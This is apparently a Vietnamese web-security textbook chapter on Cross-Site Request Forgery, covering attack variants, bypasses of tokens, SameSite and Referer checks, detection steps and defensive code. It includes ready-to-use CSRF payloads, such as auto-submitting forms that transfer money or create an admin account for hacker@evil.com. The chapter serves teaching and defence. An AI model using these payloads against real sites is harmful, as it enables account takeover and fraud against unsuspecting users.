Skip to main content

Chương 10: CSRF — Cross-Site Request Forgery

Khái niệm

CSRF (Cross-Site Request Forgery — Giả mạo yêu cầu chéo trang) là tấn công khiến người dùng đã xác thực vô tình thực hiện hành động không mong muốn trên một web application.

Mức độ nguy hiểm: Trung bình-Cao — Phụ thuộc vào hành động có thể bị giả mạo (chuyển tiền, đổi email/password, xóa dữ liệu).

CSRF khai thác sự thật: browser tự động gửi cookies trong mọi request, kể cả requests được trigger từ trang web khác.


Điều kiện để CSRF xảy ra

Cần đủ 3 điều kiện:

  1. Relevant action: Có hành động nhạy cảm (đổi email, chuyển tiền, thay đổi quyền)
  2. Cookie-based session: App dùng cookie để track session
  3. Predictable parameters: Hacker biết trước tất cả parameters cần thiết

Cách hoạt động

Victim đang login bank.com (có session cookie)

Hacker tạo trang evil.com với form ẩn:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker_account">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>

Khi victim vào evil.com:
1. Form tự submit đến bank.com
2. Browser tự động đính kèm bank.com cookies
3. bank.com thấy valid session → thực hiện transfer
4. Hacker nhận 1000 đơn vị tiền

Các loại CSRF Attack

GET-based CSRF

Nếu sensitive action có thể trigger qua GET:

<!-- Load image từ target URL -->
<img src="https://bank.com/transfer?to=hacker&amount=1000" width="0" height="0">

<!-- Khi browser load image → gửi GET request với cookies → action thực hiện -->

Đây là lý do tại sao GET không nên có side effects.

POST-based CSRF

<!-- Auto-submit form -->
<form action="https://example.com/email/change" method="POST" id="csrf-form">
<input type="hidden" name="email" value="hacker@evil.com">
</form>
<script>document.getElementById('csrf-form').submit();</script>

JSON-based CSRF

Nhiều API dùng Content-Type: application/json. Browser chỉ auto-submit với application/x-www-form-urlencoded hoặc multipart/form-data.

Nhưng có thể bypass:

<!-- Method 1: Dùng form với enctype text/plain (gây JSON-like format) -->
<form action="https://api.example.com/change-email"
method="POST"
enctype="text/plain">
<input name='{"email":"hacker@evil.com","x":"' value='"}'>
</form>

<!-- Body được gửi: {"email":"hacker@evil.com","x":"="} -->
<!-- Nếu server parse JSON lax → có thể work -->

<!-- Method 2: Nếu server accept các Content-Type khác -->
<script>
fetch('https://api.example.com/change-email', {
method: 'POST',
body: JSON.stringify({email: 'hacker@evil.com'}),
// Không có Content-Type header → simple request → không có preflight
// Nhưng server cần handle request không có content-type
})
</script>

Bypass CSRF Protection

Bypass CSRF Token

Token không được verify:

# SAI: Generate token nhưng không verify
def change_email():
new_email = request.form.get('email')
# Token không được check!
db.update_email(session['user_id'], new_email)

Token tied to session nhưng không tied to user:

Hacker login → lấy CSRF token của hắn
Dùng token của hắn trong request attack đến victim session
→ Nếu server check "token valid" nhưng không check "token belongs to this user"

Token trong URL (leaked qua Referer):

<form action="/change-email?csrf_token=VALID_TOKEN">
→ Nếu page load external resource → Referer: /change-email?csrf_token=VALID_TOKEN
→ Token bị leak!

Double Submit Cookie bypass:

Một số app dùng pattern: cookie value == form field value.

Nếu attacker có thể set cookie (XSS, subdomain takeover):
→ Set attacker-controlled cookie value
→ Send same value trong form field
→ Server verify: cookie == form_field → match → bypass!

Bypass SameSite=Lax

SameSite=Lax cho phép cookie trong top-level GET navigation:

<a href="https://victim.com/change-email?email=hacker@evil.com">Click me!</a>
→ Nếu action accessible via GET với SameSite=Lax → CSRF vẫn possible

Bypass bằng client-side redirect:

// Một số SameSite bypass qua client-side redirect
// Nếu có page redirect từ victim.com → API endpoint:
document.location = 'https://victim.com/redirect?url=/api/change-email?email=h@evil.com'
// Top-level navigation → SameSite=Lax cookies được gửi

Bypass Referer Validation

Empty Referer:

<!-- Ẩn Referer header -->
<meta name="referrer" content="no-referrer">
<form ...>
→ Không có Referer header → nếu server chỉ block khi Referer sai (không khi thiếu) → bypass

Referer chứa domain victim:

Hacker tạo subdomain hoặc path: victim.com.evil.com
→ Referer: https://victim.com.evil.com/csrf.html
→ Nếu server check "victim.com" in Referer → bypass!

Kịch bản tấn công: Account Takeover qua CSRF

Target: admin panel của SaaS app
Lỗ hổng: Không có CSRF token cho action "Add admin user"

1. Hacker biết action:
POST /admin/users/add
name=hacker_admin&email=hacker@evil.com&role=admin

2. Hacker tạo trang attack:
<!DOCTYPE html>
<html>
<body>
<form action="https://app.example.com/admin/users/add"
method="POST"
id="csrf">
<input type="hidden" name="name" value="hacker_admin">
<input type="hidden" name="email" value="hacker@evil.com">
<input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
3. Hacker gửi link cho admin (phishing email, Slack message)
4. Admin click → page load → form submit → admin account được tạo
5. Hacker login với hacker@evil.com → full admin access

Cách phát hiện

□ Requests thay đổi state có CSRF token không?
□ Token unique per-session và per-request?
□ Token được verify server-side?
□ Token trong URL (bị leak qua Referer)?
□ SameSite cookie attribute được set?
□ Referer validation có bypass được không (empty, misleading value)?
□ Sensitive actions có thể trigger qua GET?
□ Double submit cookie pattern có subdomain XSS risk?

Test bằng Burp:

  1. Intercept request thay đổi state
  2. Xóa CSRF token parameter
  3. Send request → nếu thành công → CSRF
  4. Thử sửa token value → nếu thành công → validation lỗi

Phòng chống

1. Synchronizer Token Pattern (Cách tốt nhất)

import secrets
from functools import wraps

def generate_csrf_token():
"""Tạo CSRF token unique per-session"""
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return session['csrf_token']

def csrf_protect(f):
@wraps(f)
def decorated(*args, **kwargs):
if request.method in ('POST', 'PUT', 'PATCH', 'DELETE'):
token = request.form.get('csrf_token') or \
request.headers.get('X-CSRF-Token')

if not token or not secrets.compare_digest(
token, session.get('csrf_token', '')
):
abort(403, "CSRF token validation failed")
return f(*args, **kwargs)
return decorated

# Template
@app.route('/change-email', methods=['GET', 'POST'])
@csrf_protect
def change_email():
if request.method == 'GET':
return render_template('change_email.html',
csrf_token=generate_csrf_token())
# POST: đã được validate bởi decorator
...
<!-- Template -->
<form method="POST" action="/change-email">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<input type="email" name="email" required>
<button type="submit">Change Email</button>
</form>
response.set_cookie(
'session',
session_id,
samesite='Strict', # Hoặc 'Lax' nếu cần cross-site navigation
httponly=True,
secure=True
)

3. Custom Request Header (cho AJAX/API)

// Frontend: luôn gửi custom header
fetch('/api/change-email', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest', // Custom header
},
credentials: 'same-origin',
body: JSON.stringify({email: 'new@email.com'})
});
# Backend: check custom header
@app.before_request
def check_ajax_requests():
if request.method in ('POST', 'PUT', 'DELETE'):
if request.content_type == 'application/json':
if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
abort(403)

Simple cross-site requests không thể add custom headers (bị browser block) → đây là defense theo origin.

# Generate token
csrf_token = secrets.token_hex(32)
# Set cookie và form field với cùng giá trị
response.set_cookie('csrf_token', csrf_token, samesite='Strict')
session['csrf_secret'] = hashlib.sha256(csrf_token.encode()).hexdigest()

# Verify
def verify_csrf():
cookie_token = request.cookies.get('csrf_token')
form_token = request.form.get('csrf_token')
expected = session.get('csrf_secret')

if not all([cookie_token, form_token, expected]):
return False

return secrets.compare_digest(
hashlib.sha256(form_token.encode()).hexdigest(),
expected
)

Góc nhìn DevOps

Nginx: Validate Origin/Referer:

# Reject requests từ unexpected origins
map $http_origin $bad_origin {
default 1;
"https://app.example.com" 0;
"https://admin.example.com" 0;
}

location /api/ {
if ($bad_origin = 1) {
return 403;
}
}

Kubernetes: Security Headers qua Ingress:

annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";

Testing trong CI/CD:

# Test CSRF protection trong pipeline
python -m pytest tests/security/test_csrf.py -v

# Hoặc dùng OWASP ZAP
docker run owasp/zap2docker-stable \
zap-api-scan.py \
-t https://staging.example.com/openapi.json \
-r csrf-report.html

Tóm tắt

  • CSRF khai thác việc browser tự gửi cookies trong mọi request kể cả từ trang khác.
  • Ba điều kiện: relevant action + cookie session + predictable parameters.
  • Biện pháp hiệu quả nhất: CSRF token (synchronizer pattern) kết hợp SameSite cookies.
  • GET request không nên có side effects.
  • Referer validation không đủ — dễ bypass bằng empty referer hoặc misleading URL.
  • SameSite=Strict là bảo vệ tốt nhất nhưng có thể ảnh hưởng UX.
  • Custom header (X-Requested-With) là biện pháp tốt cho AJAX-only APIs.

Câu hỏi ôn tập

  1. Ba điều kiện cần thiết để CSRF attack thành công là gì?
  2. Tại sao SameSite=Lax không hoàn toàn ngăn chặn CSRF?
  3. Double Submit Cookie pattern là gì và điểm yếu của nó là gì?
  4. Tại sao Referer header validation không phải là biện pháp bảo mật đáng tin cậy?
  5. Với REST API chỉ nhận JSON, biện pháp nào phòng chống CSRF tốt nhất?